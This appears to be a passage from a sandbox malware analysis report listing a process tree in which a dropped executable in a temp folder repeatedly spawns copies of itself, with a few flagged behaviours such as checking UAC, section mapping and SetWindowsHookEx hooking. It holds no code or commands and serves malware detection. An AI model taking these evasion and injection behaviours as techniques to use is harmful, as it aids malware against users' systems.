        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:5564
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:5928
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:5280
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:6164
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:6520
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:6828
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:5152
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:3176
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:7100
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:6824
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:5420
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:6732
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Executes dropped EXE
        
        PID:688
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7280
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7844
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7532
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5808
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7908
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2176
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8320
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8684
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9036
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8368
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8588
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9184
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8964
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8892
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7676
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9392
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9916
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9428
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9556
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:10220
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9288
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9468
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9980
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8556
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:10128
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5760
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8644
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9860
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9468
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2596
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9720
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9360
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:852
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9456
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7892
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7120
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4880
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8996
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9828
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8248
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6896
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8092
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9052
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8964
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9564
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5868
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3144
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:10200
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2352
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8012
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2108
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1312
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7392
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9160
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7912
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9564
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9600
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7700
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6196
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5488
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7196
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9992
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5188
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4804
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9280
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5956
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        Checks whether UAC is enabled
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        
        PID:8932
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9760
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5220
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5980
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9132
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8144
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5724
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7116
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6716
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8840
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7728
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7748
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7420
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4164
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8592
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6580
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9436
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1556
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1916
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5820
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4768
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7300
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9900
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7120
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8092
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5340
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7096
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6176
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:10068
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9668
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2108
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7044
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9200
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7392
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:992
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7196
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8732
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8016
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7080
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6040
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7908
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9576
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5220
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9224
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9548
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1352
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9628
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8556
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6140
